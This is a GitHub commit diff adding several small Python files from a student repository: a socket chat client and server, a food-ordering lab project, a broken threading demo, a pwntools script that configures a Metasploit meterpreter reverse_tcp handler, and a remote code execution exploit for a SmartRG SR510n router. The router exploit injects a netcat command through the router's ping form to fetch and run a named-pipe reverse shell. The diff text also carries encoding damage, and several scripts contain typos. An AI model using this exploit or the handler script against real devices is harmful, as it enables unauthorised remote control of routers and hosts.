File tree 6 files changed +265
-0
lines changed
6 files changed +265
-0
lines changed Original file line number Diff line number Diff line change
1
+ #!/usr/bin/python3
2
+
3
+ import socket
4
+ import threading
5
+
6
+
7
+ def send_msg ():
8
+ while True :
9
+
10
+ msg = input ().encode ()
11
+ s .send (msg )
12
+
13
+ def recv_msg ():
14
+ while True :
15
+ recevied = s .recv (1024 )
16
+ print (recevied .decode ())
17
+
18
+
19
+ s = socket .socket (socket .AF_INET ,socket .SOCK_STREAM )
20
+ print ("connecting.." )
21
+ while True :
22
+ try :
23
+ s .connect ("127.0.0.1" ,8888 )
24
+ break
25
+ except CoonectionRefusedError :
26
+ continue
27
+
28
+ print ("connected...." )
29
+
30
+ t1 = threading .Thread (target = send_msg )
31
+ t1 .start ()
32
+ recv_msg ()
Original file line number Diff line number Diff line change
1
+ # Exploit Title: SmartRG Router SR510n 2.6.13 - RCE (Remote Code Execution)
2
+ # done by Sathwik.R - www.github.com/cicada0007
3
+
4
+ import requests
5
+ from subprocess import Popen , PIPE
6
+
7
+ router_host = 3 D "http://192.168.1.1"
8
+ authorization_header = 3 D "YWRtaW46QWRtMW5ATDFtMyM=3D"
9
+
10
+ lhost = 3 D "lo"
11
+ lport = 3 D 80
12
+
13
+ payload_port = 3 D 81
14
+
15
+
16
+ def main ():
17
+ e_proc = 3 D Popen (["echo" , f"rm / tmp / s & mknod / tmp / s p & / bin / sh 0 < / tm =
18
+ p / s | nc {lhost } {lport } > / tmp / s " ], stdout = 3 DPIPE )
19
+ Popen (["nc" , "-nlvp" , f"{ payload_port } " ], stdin = 3 De_proc .stdout )
20
+ send_payload (f"|nc { lhost } { payload_port } |sh" )
21
+ print ("done.. check shell" )
22
+
23
+
24
+ def get_session ():
25
+ url = 3 D router_host + "/admin/ping.html"
26
+ headers = 3 D {"Authorization" : "Basic {}" .format (authorization_header )}
27
+ r = 3 D requests .get (url , headers = 3 Dheaders ).text
28
+ i = 3 D r .find ("&sessionKey=3D" ) + len ("&sessionKey=3D" )
29
+ s = 3 D ""
30
+ while r [i ] != 3 D "'" :
31
+ s = 3 D s + r [i ]
32
+ i = 3 D i + 1
33
+ return s
34
+
35
+
36
+ def send_payload (payload ):
37
+ print (payload )
38
+ url = 3 D router_host + "/admin/pingHost.cmd"
39
+ headers = 3 D {"Authorization" : "Basic {}" .format (authorization_header )}
40
+ params = 3 D {"action" : "add" , "targetHostAddress" : payload , "sessionKey" =
41
+ : get_session ()}
42
+ requests .get (url , headers = 3 Dheaders , params = 3 Dparams ).text
43
+
44
+
45
+ main ()
Original file line number Diff line number Diff line change
1
+ #!/usr/bin/python3
2
+
3
+ import socket
4
+ import threading
5
+
6
+ def send_msg ():
7
+ while True :
8
+ msg = input ().encode ()
9
+ client .send (msg )
10
+
11
+ def recv_msg ():
12
+ while True :
13
+ recived = client .recv (1024 )
14
+ print (recived .decode ())
15
+
16
+
17
+ s = socket .socket (socket .AF_INET ,socket .SOCK_STREAM )
18
+ s .setsockopt (socket .SOL_SOCKET ,socket .SO_REUSEADDR ,1 )
19
+ s .bind ("127.0.0.1" ,8888 )
20
+ print ("Listeniing......" )
21
+ s .listen (1 )
22
+ client .addr = s .accept ()
23
+ print ()
24
+ print ("connected....." )
25
+
26
+ t1 = threading .Thread (target = send_msg )
27
+ t1 .start ()
28
+ recv_msg ()
Original file line number Diff line number Diff line change
1
+
2
+ #this is my python lab mini project
3
+ #-------------------------SATHWIK.R
4
+ #-------------------------SHRADDESH
5
+ #-------------------------SIDDANTH
6
+
7
+
8
+
9
+
10
+ #createing the menu
11
+
12
+ menu = {
13
+ "pizza" :{
14
+ "small" :{
15
+ "cost" : 100 ,
16
+ "quantity" :0
17
+ },
18
+ "medium" :{
19
+ "cost" : 200 ,
20
+ "quantity" :0
21
+ },
22
+ "large" :{
23
+ "cost" : 300 ,
24
+ "quantity" :0
25
+
26
+ }
27
+ },
28
+ "burger" :{
29
+ "small" :{
30
+ "cost" :100 ,
31
+ "quantity" :0
32
+ },
33
+ "medium" :{
34
+ "cost" :100 ,
35
+ "quantity" :0
36
+ },
37
+ "large" :{
38
+ "cost" :100 ,
39
+ "quantity" :0
40
+ }
41
+
42
+ },
43
+ "coke" :{
44
+ "small" :{
45
+ "cost" :100 ,
46
+ "quantity" :0
47
+ },
48
+ "medium" :{
49
+ "cost" :200 ,
50
+ "quantity" :0
51
+
52
+ },
53
+ "large" :{
54
+ "cost" :300 ,
55
+ "quantity" :0
56
+ }
57
+
58
+ },
59
+ "Chicken" :{
60
+ "small" :{
61
+ "cost" :100 ,
62
+ "quantity" :0
63
+ },
64
+ "medium" :{
65
+ "cost" :200 ,
66
+ "quantity" :0
67
+ },
68
+ "large" :{
69
+ "cost" :300 ,
70
+ "quantity" :0
71
+ }
72
+ }
73
+
74
+
75
+ }
76
+
77
+
78
+
79
+ #bill the following
80
+
81
+
82
+ def bill (menu ):
83
+ total_bill = 0
84
+ for item in menu :
85
+ for size in menu [item ]:
86
+ total_bill += menu [item ][size ]["cost" ] * menu [item ][size ]["quantity" ]
87
+ return total_bill
88
+
89
+
90
+ #order of the entire program
91
+
92
+ def order (menu ):
93
+ while (1 ):
94
+ print ("OUR MENU\n 1.pizza\n 2.burger\n 3.coke\n 4.chicken\n \n \n " )
95
+ item = input ("\n ENTER THE ITEM YOU NEED TO ORDER\n " )
96
+
97
+ if item not in menu :
98
+
99
+ print ("WE ARE SORRY!!!!!\n THE ITEM IS NOT AVILABLE IN OUR HOTEL" )
100
+ continue
101
+ print ("THE SIZE AVILABLE ARE \n 1.small\n 2.medium\n 3.large\n \n " )
102
+ size = input ("\n ENTER THE SIZE OF THE ITEM\n " )
103
+ if size not in menu [item ]:
104
+ print ("WE ARE SORRY!!!!\n WE DONT WHAVE THAT SIZE " )
105
+ continue
106
+ quantity = int (input ("\n ENTER THE QUNTITY\n " ))
107
+ menu [item ][size ]["quantity" ] += quantity
108
+ print ("YOUR ORDER HAS BEEN PLACED " )
109
+ print ("YOUR BILL IS" ,bill (menu ))
110
+
111
+ print ("\n THANK YOU FOR OUR ORDER \n VISIT AGAIN :)" )
112
+ print ("DO YOU WANT TO ORDER MORE?? (Y/N) " )
113
+ choice = input ()
114
+ if choice == "N" :
115
+ break
116
+
117
+
118
+ order (menu )
Original file line number Diff line number Diff line change
1
+ from pwn import *
2
+ #io = process(['nmap','127.1.3.3'])
3
+ #output = io.recvall()
4
+ #print(output.decode())
5
+
6
+
7
+ io = process (["msfconsole" ,"-q" ],stdin = PTY )
8
+ io .recvuntil (b">" )
9
+ io .sendline (b"use exploit/multi/handler" )
10
+ io .sendline (b"set payload windows/x64/meterpreter/reverce_tcp" )
11
+ io .sendline (b"set lport 4444" )
12
+ io .sendline (b"set lhost 123.4.4.3" )
13
+ io .interactive ()
14
+
15
+
16
+
17
+
18
+
19
+
20
+ s1 = ssh (host = "127.5.3.3" ,user = "sath" ,password = "yusad" )
21
+ p1 = s1 .shell ("sh" )
22
+ p1 .interactive ()
23
+
24
+
Original file line number Diff line number Diff line change
1
+ #made by Sathwik R - www.github.com/cicada0007
2
+
3
+ #1/usr/bin/python3
4
+
5
+ import threadinng
6
+
7
+
8
+ def loop1 ():
9
+ while True :
10
+ print ("loop1" )
11
+
12
+ def loop2 ():
13
+ while True :
14
+ prinnt ("loop2" )
15
+
16
+ t1 = threading .Threading (targrt = loop1 )
17
+ t1 .start ()
18
+ loop2 ()
You can’t perform that action at this time.
0 commit comments